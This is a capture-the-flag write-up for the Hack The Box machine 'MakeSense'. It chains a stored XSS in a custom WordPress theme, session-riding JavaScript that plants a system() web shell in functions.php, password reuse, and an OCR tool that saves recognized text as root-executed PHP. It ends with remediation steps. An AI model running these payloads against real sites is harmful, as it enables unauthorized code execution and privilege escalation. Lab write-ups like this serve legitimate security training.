$ cat writeup.md / 2026.08.26

HTB MakeSense writeup

Difficulty: Medium MakeSense chains two trust-boundary failures. First, a custom WordPress theme accepts unauthenticated client-encrypted transcription data and renders it without output encoding in an administrator’s browser. Stored XSS can then ride the administrator’s session and edit the active theme for command execution as www-data. A reused WordPress database password provides the Walter account. Finally, a root-owned OCR application allows recognized text to be saved with a user-selected .php extension inside its own document root, producing root code execution. Note: Flag values are intentionally redacted here. Their locations are /home/walter/user.txt and /root/root.txt.

Attack path at a glance

  1. Enumerate SSH and HTTPS; identify makesense.htb and WordPress 7.0.
  2. Recover the custom theme’s public AES key and AJAX nonce.
  3. Store XSS in an encrypted transcription field.
  4. Use same-origin XSS to edit functions.php as the administrator.
  5. Execute commands and obtain a shell as www-data.
  6. Reuse the database password to become walter.
  7. Tunnel to the root-owned OCR service on 127.0.0.1:8001.
  8. Make Tesseract recognize valid PHP, save it as .php, and execute it as root.

Enumeration

ping -c 3 -W 2 10.129.246.24
nmap -Pn -n -p- --min-rate 1200 --max-retries 2 -T4 10.129.246.24
nmap -Pn -n -sC -sV -p22,443 --version-all 10.129.246.24
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu
443/tcp open  ssl/http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Agency LLC
|_http-generator: WordPress 7.0
| ssl-cert: Subject: commonName=makesense.htb
The certificate supplied the virtual host. I avoided changing /etc/hosts and used curl --resolve:
curl -ksS --resolve makesense.htb:443:10.129.246.24 https://makesense.htb/
The home page loaded a custom webagency theme and two especially interesting JavaScript files:
/wp-content/themes/webagency/assets/js/main.js
/wp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js
whisper-wrapper.js disclosed the shared encryption secret:
const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';
The browser hashes that string with SHA-256 and uses AES-256-GCM to encrypt a JSON object containing transcription and summary. Because the key and WordPress AJAX nonce are public, any visitor can create a valid payload.

Initial access: stored XSS

The custom WordPress handler is registered for unauthenticated visitors, decrypts the payload, and saves both strings verbatim. The admin list then concatenates those values into HTML without esc_html():
add_action('wp_ajax_nopriv_save_voice_results', 'webagency_save_voice_results');

echo '<div style="max-height: 100px; overflow-y: auto;">'
   . $transcription . '</div>';
I first created a contact record and captured its returned post ID:
TARGET=10.129.246.24
nonce=$(curl -ksS --resolve makesense.htb:443:$TARGET https://makesense.htb/ \
  | grep -o '"nonce":"[^"]*"' | head -1 | cut -d'"' -f4)

contact=$(curl -ksS --resolve makesense.htb:443:$TARGET \
  https://makesense.htb/wp-admin/admin-ajax.php \
  --data-urlencode action=submit_contact_form \
  --data-urlencode "nonce=$nonce" \
  --data-urlencode 'name=Project Review' \
  --data-urlencode 'email=review@example.com' \
  --data-urlencode 'message=Please review the generated summary.')

post_id=$(printf '%s' "$contact" | grep -o '"post_id":[0-9]*' | cut -d: -f2)
A beacon ran in the headless administrative browser about one minute later. The WordPress login cookie was HttpOnly, so stealing document.cookie was not useful. The XSS still had the administrator’s same-origin authority and could fetch admin pages. The final payload requested the Theme Editor, extracted WordPress 7.0’s nonce field, preserved the original functions.php, and prepended a one-time command handler:
fetch('/wp-admin/theme-editor.php?file=functions.php&theme=webagency')
  .then(r => r.text())
  .then(html => {
    const d = new DOMParser().parseFromString(html, 'text/html');
    const nonce = d.querySelector('input[name="nonce"]').value;
    const original = d.querySelector('textarea[name="newcontent"]').value;
    if (original.includes("$_GET['mscmd']")) return;

    const handler = "<?php if(isset($_GET['mscmd'])){system($_GET['mscmd']);exit;} ?>";
    const body = new URLSearchParams({
      nonce,
      newcontent: handler + String.fromCharCode(10) + original,
      action: 'update', file: 'functions.php', theme: 'webagency'
    });
    return fetch('/wp-admin/theme-editor.php', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body
    });
  });
The script was placed in the transcription property and encrypted as IV || ciphertext || GCM tag. After the admin rendered it, command execution was confirmed:
curl -ksS --resolve makesense.htb:443:$TARGET --get https://makesense.htb/ \
  --data-urlencode 'mscmd=id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
A socat callback produced an interactive shell. The theme handler was removed immediately afterward, and the restored file passed php -l and returned HTTP 200.

Walter and the user flag

wp-config.php contained a database credential matching a local Linux username:
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'walter' );
define( 'DB_PASSWORD', 'REDACTED' );
define( 'DB_HOST', 'localhost' );
The password was reused by the OS account:
su - walter
Password: REDACTED
walter@makesense:~$ id
uid=1000(walter) gid=1000(walter) groups=1000(walter)
The user flag was at /home/walter/user.txt. Walter had no sudo privileges.

Privilege escalation: OCR output becomes root PHP

Local enumeration found a loopback-only PHP development server:
127.0.0.1:8001 LISTEN
root ... php -S 127.0.0.1:8001 -t /root/ocr4/
The service used Basic authentication, and the same Walter password worked again. I forwarded it over SSH:
ssh -N -L 18001:127.0.0.1:8001 walter@10.129.246.24
curl -u 'walter:REDACTED' http://127.0.0.1:18001/
The application accepts a base64 PNG, runs Tesseract as root, and stores the recognized string in the PHP session. Its “Save as” function sanitizes path separators and shell metacharacters, but allows arbitrary extensions and writes into /root/ocr4/saved/—inside the active PHP document root:
$filename = basename($_POST['filename']);
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
$filePath = $saveDir . '/' . $filename;
file_put_contents($filePath, $outputText);
I rendered a high-contrast monospace payload and previewed the OCR result before saving it:
magick -size 2100x240 xc:white -gravity center \
  -font DejaVu-Sans-Mono -pointsize 58 -fill black \
  -annotate +0+0 '<?php system("whoami; /usr/bin/id; cat /root/root.txt"); ?>' \
  ocr-php-root.png
Tesseract reproduced the PHP exactly. The POST response supplied an ocr_id; posting that ID with filename=root-proof.php saved the recognized text. Requesting the new file executed it in the root server:
curl -u 'walter:REDACTED' \
  http://127.0.0.1:18001/saved/root-proof.php

root
uid=0(root) gid=0(root) groups=0(root)
[root flag redacted]
A second exact OCR payload launched socat, providing an interactive root shell. The root flag was at /root/root.txt.

Dead ends and useful validation

  • The authentication cookie could not be read because it was HttpOnly; session riding was the correct XSS technique.
  • 404.php was not editable, so functions.php was verified before use.
  • WordPress 7.0 used nonce, not _wpnonce, in the Theme Editor.
  • OCR filename traversal was reduced to a basename and did not escape saved/.
  • Shell metacharacters in filenames were replaced with underscores; a harmless marker was not created.
  • The first OCR attempt misread $_GET as $ GET. Only an exact fixed-command recognition was saved.

Credentials

Context Username Password Impact
WordPress database walter REDACTED Credential disclosed in web configuration
Linux account walter REDACTED User shell through password reuse
OCR Basic Auth walter REDACTED Access to the root-owned OCR service
 

Remediation

  1. Escape contact messages, summaries, and transcriptions with esc_html() before rendering them anywhere in WordPress admin.
  2. Remove unauthenticated write actions or enforce authentication, capability checks, post correlation, strict schemas, and size limits. A WordPress nonce is CSRF protection, not authorization.
  3. Remove the shared AES key from public JavaScript. Use TLS and authenticated server-side trust decisions.
  4. Set DISALLOW_FILE_EDIT, deploy a restrictive admin CSP, and run automated review browsers with a dedicated low-privilege role.
  5. Rotate the exposed password and use unique credentials for the database, Linux account, and OCR service.
  6. Run Tesseract and the PHP service as an unprivileged account with filesystem and systemd sandboxing.
  7. Generate output filenames server-side, allow only .txt, and store output outside the document root.
  8. Disable PHP/script execution in every upload or generated-output directory.